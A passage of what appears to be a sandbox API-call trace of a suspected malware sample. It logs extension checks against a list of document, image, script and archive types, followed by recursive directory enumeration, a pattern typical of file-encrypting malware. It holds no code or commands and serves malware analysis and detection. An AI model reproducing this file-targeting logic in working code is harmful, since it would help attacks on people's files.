(lpString=".pcx") returned 4 [0291.791] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pdd") returned 4 [0291.791] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pdf") returned 4 [0291.791] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pdp") returned 4 [0291.791] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pef") returned 4 [0291.791] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pem") returned 4 [0291.791] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pff") returned 4 [0291.791] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pfm") returned 4 [0291.791] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pfx") returned 4 [0291.791] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pgm") returned 4 [0291.791] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".php") returned 4 [0291.792] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0291.792] lstrlenW (lpString=".php3") returned 5 [0291.792] lstrcmpiW (lpString1=".php3", lpString2="t.dll") returned -1 [0291.792] lstrlenW (lpString=".php4") returned 5 [0291.792] lstrcmpiW (lpString1=".php4", lpString2="t.dll") returned -1 [0291.792] lstrlenW (lpString=".php5") returned 5 [0291.792] lstrcmpiW (lpString1=".php5", lpString2="t.dll") returned -1 [0291.792] lstrlenW (lpString=".phtml") returned 6 [0291.792] lstrcmpiW (lpString1=".phtml", lpString2="nt.dll") returned -1 [0291.792] lstrlenW (lpString=".pict") returned 5 [0291.792] lstrcmpiW (lpString1=".pict", lpString2="t.dll") returned -1 [0291.792] lstrlenW (lpString=".pl") returned 3 [0291.792] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0291.792] lstrlenW (lpString=".pls") returned 4 [0291.792] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0291.792] lstrlenW (lpString=".pm") returned 3 [0291.792] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0291.792] lstrlenW (lpString=".png") returned 4 [0291.792] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0291.792] lstrlenW (lpString=".pnm") returned 4 [0291.792] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0291.792] lstrlenW (lpString=".pot") returned 4 [0291.792] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0291.792] lstrlenW (lpString=".potm") returned 5 [0291.792] lstrcmpiW (lpString1=".potm", lpString2="t.dll") returned -1 [0291.792] lstrlenW (lpString=".potx") returned 5 [0291.792] lstrcmpiW (lpString1=".potx", lpString2="t.dll") returned -1 [0291.792] lstrlenW (lpString=".ppa") returned 4 [0291.792] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0291.792] lstrlenW (lpString=".ppam") returned 5 [0291.792] lstrcmpiW (lpString1=".ppam", lpString2="t.dll") returned -1 [0291.792] lstrlenW (lpString=".ppm") returned 4 [0291.793] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".pps") returned 4 [0291.793] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".ppsm") returned 5 [0291.793] lstrcmpiW (lpString1=".ppsm", lpString2="t.dll") returned -1 [0291.793] lstrlenW (lpString=".ppt") returned 4 [0291.793] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".pptm") returned 5 [0291.793] lstrcmpiW (lpString1=".pptm", lpString2="t.dll") returned -1 [0291.793] lstrlenW (lpString=".pptx") returned 5 [0291.793] lstrcmpiW (lpString1=".pptx", lpString2="t.dll") returned -1 [0291.793] lstrlenW (lpString=".prn") returned 4 [0291.793] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".ps") returned 3 [0291.793] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0291.793] lstrlenW (lpString=".psb") returned 4 [0291.793] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".psd") returned 4 [0291.793] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".pst") returned 4 [0291.793] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".ptx") returned 4 [0291.793] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".pub") returned 4 [0291.793] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".pwm") returned 4 [0291.793] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".pxr") returned 4 [0291.793] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".py") returned 3 [0291.793] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0291.793] lstrlenW (lpString=".qt") returned 3 [0291.793] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0291.793] lstrlenW (lpString=".r3d") returned 4 [0291.793] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0291.793] lstrlenW (lpString=".raf") returned 4 [0291.794] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0291.794] lstrlenW (lpString=".rar") returned 4 [0291.794] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.794] lstrlenW (lpString=".raw") returned 4 [0291.794] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0291.794] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0291.794] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0291.796] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.796] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.796] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.796] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.797] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.797] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.797] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.797] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.797] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.797] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.797] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.797] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.798] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.798] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.799] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.799] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.800] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.800] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.800] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.800] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.800] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.800] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.801] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.801] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.801] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.801] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.801] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0291.801] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.802] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0291.802] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0291.802] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0291.802] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0291.802] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0291.802] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0292.457] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.458] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0292.458] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.458] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0292.458] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.458] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0292.459] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.459] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0292.459] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.459] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0292.459] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.459] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0292.460] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.460] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0292.460] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.460] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.460] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.460] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.460] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.460] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.460] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.460] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.461] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.461] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.462] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.463] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.463] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.463] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.463] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.463] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.463] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.463] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.464] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.464] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.464] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.464] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.464] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.464] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.465] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.465] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.465] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.465] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.465] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.465] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.465] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.465] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.466] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.466] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.466] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.466] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.466] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.466] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.466] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.466] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.467] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.467] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.467] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.467] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.467] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4414898 | out: hHeap=0x700000) returned 1 [0292.467] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.468] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.468] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.468] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.468] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.468] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.468] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.469] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.469] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0292.469] FindClose (in: hFindFile=0x7fd1c8 | out: hFindFile=0x7fd1c8) returned 1 [0292.469] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.472] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.473] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.473] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.473] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.473] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.475] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.475] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0292.475] FindClose (in: hFindFile=0x7fcd88 | out: hFindFile=0x7fcd88) returned 1 [0292.475] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.475] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.476] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.476] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.476] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.476] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.476] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.476] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.477] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.477] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0292.477] FindClose (in: hFindFile=0x7fcd08 | out: hFindFile=0x7fcd08) returned 1 [0292.477] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.477] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.477] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.477] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0292.477] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0292.477] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.477] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.478] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.478] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.478] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.478] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.478] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0292.478] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0292.479] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.479] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.479] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.479] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0292.479] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0292.479] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0292.480] FindNextFileW (in: hFindFile=0x7fd088, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0292.481] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0292.481] FindNextFileW (in: hFindFile=0x7fd088, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0292.482] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.482] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.483] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.483] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.483] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.483] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.485] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.485] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.486] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.486] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.486] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.486] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.487] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.487] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.487] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0292.489] FindNextFileW (in: hFindFile=0x7fd088, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0292.489] FindClose (in: hFindFile=0x7fd088 | out: hFindFile=0x7fd088) returned 1 [0292.489] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0292.489] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0292.706] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.706] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0292.706] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.706] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0292.707] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.707] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0292.707] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.707] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0292.708] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.708] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.710] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.710] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.710] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.710] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.711] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0292.711] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.711] HeapFree (in: hHeap=0x700000, dwFlags=0x0, 